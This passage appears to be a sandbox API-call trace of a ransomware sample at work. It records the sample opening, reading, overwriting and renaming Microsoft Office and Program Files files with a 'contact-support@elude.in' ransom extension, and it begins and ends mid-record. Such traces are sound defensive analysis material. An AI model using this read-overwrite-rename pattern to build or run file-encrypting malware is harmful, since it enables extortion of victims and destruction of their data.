lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aa9b0*, lpNumberOfBytesWritten=0x36bff0c*=0x5fc0, lpOverlapped=0x0) returned 1 [0194.186] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.186] WriteFile (in: hFile=0x6a4, lpBuffer=0x72b096f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b096f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.154] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.154] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.154] CloseHandle (hObject=0x6a4) returned 1 [0195.311] GetProcessHeap () returned 0x630000 [0195.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72aa9b0 | out: hHeap=0x630000) returned 1 [0195.311] GetProcessHeap () returned 0x630000 [0195.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a49c0 | out: hHeap=0x630000) returned 1 [0195.311] GetProcessHeap () returned 0x630000 [0195.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0196.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a45bc89, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6003, dwReserved0=0xc447496, dwReserved1=0x72a49b8, cFileName="ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR7~1.FIR")) returned 0x6d5340 [0196.302] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0196.302] Sleep (dwMilliseconds=0x1) [0196.316] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", len=0x3e | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT") returned 1 [0196.316] GetProcessHeap () returned 0x630000 [0196.316] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47ac) returned 0x7133a90 [0196.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0196.427] CloseHandle (hObject=0x4e0) returned 1 [0196.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR4XL~1.FIR")) returned 0x6d5240 [0197.022] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0197.023] GetProcessHeap () returned 0x630000 [0197.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7621) returned 0x7334068 [0197.023] GetProcessHeap () returned 0x630000 [0197.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7621) returned 0x733b698 [0197.023] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.023] ReadFile (in: hFile=0x4e0, lpBuffer=0x7334068, nNumberOfBytesToRead=0x7600, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7334068*, lpNumberOfBytesRead=0x36bff0c*=0x7600, lpOverlapped=0x0) returned 1 [0201.536] GetProcessHeap () returned 0x630000 [0201.536] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0201.536] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.536] WriteFile (in: hFile=0x4e0, lpBuffer=0x733b698*, nNumberOfBytesToWrite=0x7600, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x733b698*, lpNumberOfBytesWritten=0x36bff0c*=0x7600, lpOverlapped=0x0) returned 1 [0201.537] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.537] WriteFile (in: hFile=0x4e0, lpBuffer=0x7342c97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7342c97*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.537] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.537] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.537] CloseHandle (hObject=0x4e0) returned 1 [0201.537] GetProcessHeap () returned 0x630000 [0201.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733b698 | out: hHeap=0x630000) returned 1 [0201.537] GetProcessHeap () returned 0x630000 [0201.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7334068 | out: hHeap=0x630000) returned 1 [0201.537] GetProcessHeap () returned 0x630000 [0201.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0201.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3e129f5e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7624, dwReserved0=0xc447496, dwReserved1=0x7334060, cFileName="ADR4.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR4XL~1.FIR")) returned 0x6d5580 [0201.538] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0201.538] Sleep (dwMilliseconds=0x1) [0203.071] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man", len=0x6b | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man") returned 1 [0203.071] GetProcessHeap () returned 0x630000 [0203.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bd8) returned 0x7133a90 [0203.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0203.079] CloseHandle (hObject=0x66c) returned 1 [0203.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\airspace.etw.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\airspace.etw.man.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x247ecc35, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x247ecc35, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AIRSPA~1.FIR")) returned 0x6d5280 [0203.351] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0203.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\airspace.etw.man.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0203.427] GetProcessHeap () returned 0x630000 [0203.427] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7308b88 [0203.427] GetProcessHeap () returned 0x630000 [0203.427] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0203.428] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.428] ReadFile (in: hFile=0x6f4, lpBuffer=0x7308b88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7308b88*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0209.772] GetProcessHeap () returned 0x630000 [0209.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0209.773] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.773] WriteFile (in: hFile=0x6f4, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0209.773] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.773] WriteFile (in: hFile=0x6f4, lpBuffer=0x700cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc4f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.572] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.572] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.572] CloseHandle (hObject=0x6f4) returned 1 [0211.572] GetProcessHeap () returned 0x630000 [0211.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0211.572] GetProcessHeap () returned 0x630000 [0211.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7308b88 | out: hHeap=0x630000) returned 1 [0211.573] GetProcessHeap () returned 0x630000 [0211.573] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0211.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x247ecc35, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x247ecc35, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x440f2896, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x44e47, dwReserved0=0xc447496, dwReserved1=0x7308b80, cFileName="AirSpace.Etw.man.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AIRSPA~1.FIR")) returned 0x6d5340 [0211.573] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0211.573] Sleep (dwMilliseconds=0x1) [0213.253] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll", len=0x7f | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll") returned 1 [0213.253] GetProcessHeap () returned 0x630000 [0213.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4ed8) returned 0x7128660 [0213.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0213.254] CloseHandle (hObject=0x674) returned 1 [0213.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.255] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca99edb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126d0, dwReserved0=0x6c0072, dwReserved1=0x2e006c, cFileName="msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5380 [0213.256] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0213.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0213.256] GetProcessHeap () returned 0x630000 [0213.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0213.256] GetProcessHeap () returned 0x630000 [0213.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0213.256] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.256] ReadFile (in: hFile=0x674, lpBuffer=0x70c30a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.086] GetProcessHeap () returned 0x630000 [0220.086] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0220.086] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.086] WriteFile (in: hFile=0x674, lpBuffer=0x70ce4d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.087] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.087] WriteFile (in: hFile=0x674, lpBuffer=0x70d98d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d98d7*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.090] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.090] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.090] CloseHandle (hObject=0x674) returned 1 [0220.090] GetProcessHeap () returned 0x630000 [0220.090] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0220.090] GetProcessHeap () returned 0x630000 [0220.090] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0220.090] GetProcessHeap () returned 0x630000 [0220.091] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0221.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4922a73d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1126f4, dwReserved0=0xc447496, dwReserved1=0x70c30a0, cFileName="msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5280 [0221.698] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0221.698] Sleep (dwMilliseconds=0x1) [0222.993] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml") returned 1 [0222.993] GetProcessHeap () returned 0x630000 [0222.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0222.994] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0222.994] CloseHandle (hObject=0x648) returned 1 [0222.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0222.995] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0233.788] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: 